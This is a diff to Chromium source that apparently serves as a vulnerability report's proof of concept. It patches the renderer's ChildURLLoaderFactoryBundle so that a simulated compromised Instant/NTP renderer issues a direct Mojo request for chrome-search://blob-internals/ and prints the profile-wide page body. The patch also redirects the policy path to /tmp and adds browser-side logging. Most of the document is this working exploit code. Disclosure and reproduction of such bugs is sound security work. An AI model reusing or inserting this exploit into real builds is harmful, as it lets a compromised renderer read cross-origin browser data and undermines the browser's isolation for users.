diff --git a/chrome/browser/chrome_content_browser_client.cc b/chrome/browser/chrome_content_browser_client.cc index d40e6cd39d26d..9393073ae6782 100644 --- a/chrome/browser/chrome_content_browser_client.cc +++ b/chrome/browser/chrome_content_browser_client.cc @@ -6359,6 +6359,15 @@ void AddChromeSchemeFactories( // // InstantService might be null for some irregular profiles, e.g. the System // Profile. + // POC: log when the chrome-search factory is handed to a renderer, so the + // reproduction transcript shows that this is the unmodified production + // condition (IsInstantProcess) that triggers it. + if (instant_service && instant_service->IsInstantProcess(render_process_id)) { + fprintf(stderr, + "[POC] browser: handing chrome-search URLLoaderFactory " + "(allowed_hosts={}) to Instant renderer rpid=%d\n", + render_process_id); + } if (instant_service && instant_service->IsInstantProcess(render_process_id)) { factories->emplace(chrome::kChromeSearchScheme, content::CreateWebUIURLLoaderFactory( diff --git a/components/policy/core/common/policy_paths.cc b/components/policy/core/common/policy_paths.cc index 7c15eeaa4f875..cf9d43f3a130f 100644 --- a/components/policy/core/common/policy_paths.cc +++ b/components/policy/core/common/policy_paths.cc @@ -18,7 +18,9 @@ const char kPolicyPath[] = "/etc/opt/chrome/policies"; #elif BUILDFLAG(GOOGLE_CHROME_FOR_TESTING_BRANDING) const char kPolicyPath[] = "/etc/opt/chrome_for_testing/policies"; #else -const char kPolicyPath[] = "/etc/chromium/policies"; +// POC: redirected because the test environment lacks root; in production this +// is /etc/chromium/policies and is writable by enterprise admins / installers. +const char kPolicyPath[] = "/tmp/chromium-policies"; #endif // BUILDFLAG(GOOGLE_CHROME_BRANDING) #endif // BUILDFLAG(IS_POSIX) && !BUILDFLAG(IS_MAC) diff --git a/third_party/blink/renderer/platform/loader/child_url_loader_factory_bundle.cc b/third_party/blink/renderer/platform/loader/child_url_loader_factory_bundle.cc index ce8e84c1e5f7c..772f66ea5e8cb 100644 --- a/third_party/blink/renderer/platform/loader/child_url_loader_factory_bundle.cc +++ b/third_party/blink/renderer/platform/loader/child_url_loader_factory_bundle.cc @@ -25,6 +25,13 @@ #include "url/origin.h" #include "url/url_constants.h" +// === POC includes === +#include +#include +#include "net/traffic_annotation/network_traffic_annotation.h" +#include "services/network/public/mojom/url_response_head.mojom.h" +// === end POC includes === + namespace blink { namespace { @@ -365,6 +372,98 @@ void ChildURLLoaderFactoryBundle::Update( std::move(pending_factories->pending_fetch_later_loader_factory())); } URLLoaderFactoryBundle::Update(std::move(pending_factories)); + + // ============================================================================ + // POC: simulate a compromised remote-NTP (Instant) renderer. + // + // A real compromised renderer holds the chrome-search:// URLLoaderFactory in + // this bundle (placed there by AddChromeSchemeFactories() in the browser). + // It can call CreateLoaderAndStart() directly on that factory with + // url = chrome-search://blob-internals/, bypassing renderer-side CORS, and + // read the profile-wide blob-internals page that the browser hands back. + // + // This block does exactly that and dumps the response body to stderr. + // ============================================================================ + auto cs_it = scheme_specific_factories_.find("chrome-search"); + if (cs_it != scheme_specific_factories_.end() && cs_it->second.is_bound()) { + static bool g_poc_fired = false; + if (!g_poc_fired) { + g_poc_fired = true; + fprintf(stderr, + "[POC] renderer pid=%d holds a chrome-search URLLoaderFactory; " + "requesting chrome-search://blob-internals/ via direct Mojo\n", + static_cast(getpid())); + + class PocClient : public network::mojom::URLLoaderClient { + public: + void OnReceiveEarlyHints(network::mojom::EarlyHintsPtr) override {} + void OnReceiveResponse( + network::mojom::URLResponseHeadPtr, + mojo::ScopedDataPipeConsumerHandle body, + std::optional) override { + body_ = std::move(body); + } + void OnReceiveRedirect(const net::RedirectInfo&, + network::mojom::URLResponseHeadPtr) override {} + void OnUploadProgress(int64_t, int64_t, + OnUploadProgressCallback cb) override { + std::move(cb).Run(); + } + void OnTransferSizeUpdated(int32_t) override {} + void OnComplete( + const network::URLLoaderCompletionStatus& status) override { + std::string out; + if (body_.is_valid()) { + for (;;) { + std::vector buf(65536); + size_t n = 0; + MojoResult r = + body_->ReadData(MOJO_READ_DATA_FLAG_NONE, base::span(buf), n); + if (r == MOJO_RESULT_OK) { + out.append(reinterpret_cast(buf.data()), n); + } else { + break; + } + } + } + fprintf( + stderr, + "============= POC LEAK: chrome-search://blob-internals/ " + "=============\n" + "renderer pid=%d net_error=%d body_len=%zu\n" + "----- BODY BEGIN -----\n%s\n----- BODY END -----\n" + "============= END POC LEAK =============\n", + static_cast(getpid()), status.error_code, out.size(), + out.c_str()); + } + + private: + mojo::ScopedDataPipeConsumerHandle body_; + }; + + network::ResourceRequest req; + req.url = GURL("chrome-search://blob-internals/"); + req.method = "GET"; + + mojo::PendingRemote loader_remote; + auto loader_receiver = loader_remote.InitWithNewPipeAndPassReceiver(); + // Leak the remote to keep the pipe open. + (void)new mojo::PendingRemote( + std::move(loader_remote)); + + mojo::PendingRemote client_remote; + mojo::MakeSelfOwnedReceiver( + std::make_unique(), + client_remote.InitWithNewPipeAndPassReceiver()); + + cs_it->second->CreateLoaderAndStart( + std::move(loader_receiver), /*request_id=*/0, + /*options=*/0, req, std::move(client_remote), + net::MutableNetworkTrafficAnnotationTag( + MISSING_TRAFFIC_ANNOTATION)); + } + } + // ============================================================================ } void ChildURLLoaderFactoryBundle::UpdateSubresourceOverrides(